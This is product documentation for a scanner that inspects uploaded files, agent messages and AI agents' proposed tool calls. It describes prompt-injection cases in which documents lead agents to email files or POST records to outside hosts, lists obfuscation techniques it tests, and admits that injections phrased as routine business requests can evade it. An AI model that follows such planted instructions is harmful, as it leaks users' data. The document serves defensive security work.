Detection Coverage

An honest overview of what Surface catches, how confident the detection is, and where the limitations are. No scanner catches everything; understanding the boundaries helps you build the right defense-in-depth strategy.

Coverage travels with every verdict#

The table below is also machine-readable: every scan carries a coverage field saying which tier the file fell into — full, partial, or minimal — so code can weigh a verdict without consulting this page.

A minimal scan never returns Clean. It caps at Informational and carries a coverageNote explaining what is missing. Informational still means Allow, so the cap changes what Surface claims rather than what it blocks, and a real detection is never softened by it. See How much a verdict is worth for the field reference.

File upload detection#

Every uploaded file is analyzed by multiple engines in parallel: pattern matching, machine learning, threat intelligence feeds, and behavioral analysis. The combined result is stronger than any single engine.

Threats that are not malware#

Several of the things most likely to arrive at an ordinary upload form contain no malicious code at all, so no malware model can see them. They are detected structurally instead — these are facts about a document rather than probabilities about it, which is why they carry no false-positive cost.

Each is deliberately narrow. A spreadsheet of ordinary formulas scores nothing — spreadsheets contain formulas, and treating that as a threat is how a scanner gets switched off. An archive must be implausible on both ratio and absolute expanded size, because legitimate repetitive data compresses extremely well. A .bin or .dat holding a program is what those names mean and is left alone. Visible, sized iframes and delayed or relative redirects are ordinary site behavior and do not match.

Payload scanning coverage#

When you scan text payloads (JSON, messages, tool calls), additional engines detect threats specific to API and agent communication:

Normal, clean content (conversations, JSON data, code snippets, documentation) passes through without false alarms.

Action screening#

Prompt-injection detection reads the text that reaches a model, and an injection can be worded countless ways. Action screening looks at the other end: the tool call the agent is about to make. A harmful action has a concrete shape no matter how the agent was talked into it, so this catches attacks that never used any injection wording — a document that tells the agent to email a file to an outside address, or to POST records to an endpoint you never use.

Scan the tool call your agent proposes (in OpenAI, Anthropic, MCP, or plain JSON form) before you execute it. Some actions are dangerous on their face and are flagged with nothing else — a public share, a secret placed in a URL, rm -rf of a data directory. Others depend on who you are: an email is only leaking data if it leaves your domains, and a POST is only exfiltration if it goes to a host you never declared. For those, pass a context object alongside the tool call so the screener can tell an attack from routine work.

How you wire it#

In the loop that runs your agent, intercept each tool call the model returns, scan it, and act on the verdict before you execute:

model returns a tool call
  → scan_payload(tool_call, context)      # context from your trusted app state
  → recommendedAction:
       Allow  → execute the tool call
       Review → hold it for a human
       Block  → refuse, surface the finding

That is the whole integration: about ten lines in the loop you already have. Runnable versions in Python, JavaScript and Go are in Screen an agent's tool calls — or skip the wiring with ToolGuard, including the Pydantic AI hook on Agent Action Guardrails. The MCP tool arguments are in Screening agent tool calls.

Say the agent proposed this tool call:

{ "tool": "http_request", "args": { "method": "POST", "url": "https://webhook.partner.io/sync", "body": { … } } }

Send it as the payload (the tool call, JSON-encoded as a string), with your trusted facts as context:

{
  "payload": "…the tool call above, as a JSON string…",
  "context": {
    "principal_domains": ["acme.io"],
    "allowed_egress": ["api.stripe.com", "hooks.slack.com"],
    "user_request": "sync this week's tickets to our partner",
    "strictness": "balanced"
  }
}

Most SDK clients take the tool call and context as separate arguments, so you never hand-encode that string yourself.

Context fields#

Context is what lets Surface tell an attack from routine work, so it decides both how much Surface catches and how rarely it gets in the way. If you pass nothing else, pass these:

• user_request: what the person asked, from your own UI. It is what lets Surface notice an action nobody asked for, including mail to a recipient the request never mentions. Without it, mail to people outside your organization is not judged below strict.
• source: whose words a payload is (user_prompt, content or tool_call). An override in a person's own prompt is at most held for Review, while the same words in a web page the agent read are blocked.
• principal_domains: your own domains, so mail and uploads that stay inside them are recognized as internal.

context is a fixed set of fields, not free-form. Any key that is not listed here is ignored (it is not an error to send extra keys, but they have no effect). Build the values from your own trusted application state, never from the payload being scanned.

Every field is optional on both scan_payload and ToolGuard / AsyncToolGuard. Pass only the values you have; they are validated if present (a domain list must be a list of strings, strictness must be one of its three values). With no context, routine work isn't stopped: what is certainly malicious Blocks, and irreversible actions (deleting data, granting admin, sharing publicly) are held for Review, because Surface can't see whether the user asked for them. Missing principal_domains leaves outside-org email silent; missing allowed_egress leaves undeclared hosts silent; missing user_request leaves task-fit silent, holds requested actions for Review rather than clearing or blocking them, and leaves mail to personal mailboxes unjudged below strict unless the message itself describes bulk data ("all customer records").

A high-severity action returns Block; one that warrants a human look returns Review. Review means a person should confirm the action before it runs. The SDK guards hold it by default.

How the levels differ on common actions:

Alongside these rules, a model scores each tool call from what it does and how it fits user_request. Where the rules found nothing it can ask for Review at relaxed and balanced, and only at strict can it Block. It is why passing user_request catches far more: on held-out tool calls, the default level flagged about a third of risky calls with no context and about two thirds with full context.

allowed_egress lists the outside hosts your agent is meant to reach, such as a payment or messaging API. Data sent to a host on neither principal_domains nor that list, and that the request never named, is flagged for review, so a POST of records to an unknown endpoint is caught while your Stripe or Slack call passes. A bare-IP destination or a private key in the body is dangerous on its own and flags without it. Leave allowed_egress unset on a raw scan_payload and ordinary third-party calls stay clean. For a ToolGuard integration, list the hosts you actually use.

This is a detection layer, not a guarantee: it covers the common shapes of a harmful action well, and coverage of any single category is partial. For agents that can move money, send mail, or change access, keep a human in the loop on those actions rather than relying on the scan alone.

Evasion resistance#

Surface is continuously tested against common obfuscation and evasion techniques. For prompt injection, these include zero-width characters, look-alike letters, base64 and hex encoding, HTML entities, percent-encoding, and keywords deliberately scrambled or spelled with digits. Detection is pattern-based and ML-assisted, which means it catches known evasion methods and many variations. Determined attackers crafting entirely novel evasion methods may bypass detection.

What Surface catches well#

• Known malware families and their variants
• Modified files that changed their hash but kept malicious behavior (fuzzy matching)
• Malicious Office macros, document exploits, and template injection
• Obfuscated scripts designed to evade basic pattern matching
• Files containing known malicious URLs, IPs, or domains
• Malicious files hidden inside archives
• Prompt injection attempts in AI agent communication
• Credentials and secrets accidentally exposed in payloads
• Spreadsheet formulas that execute or exfiltrate when an export is opened
• Archives that expand implausibly, and files whose extension misrepresents them
• Hidden iframes and offsite redirects in uploaded markup

What Surface is honest about#

• Brand-new malware: if a sample has never been seen before and does not match any known pattern, it may get through. This is true of every scanner.
• Encrypted content: encrypted files and archives are flagged as suspicious, but the actual contents cannot be analyzed without decryption keys.
• Context-dependent threats: a seemingly harmless image or CSV might exploit a vulnerability specific to your application. Surface cannot know your app's attack surface.
• Prompt injection written as an ordinary request: detection is pattern-based. It reliably catches injections that use override, extraction or exfiltration language, and common agent attacks such as spoofed chat turns and tool results. An injection phrased as a normal business request, like an invoice that says it is pre-approved or an email asking for replies to go to a new address, can read exactly like legitimate text and may get through. For agents that can move money, send email or change permissions, require a person to confirm those actions rather than relying on scanning alone.

← Back to Surface docs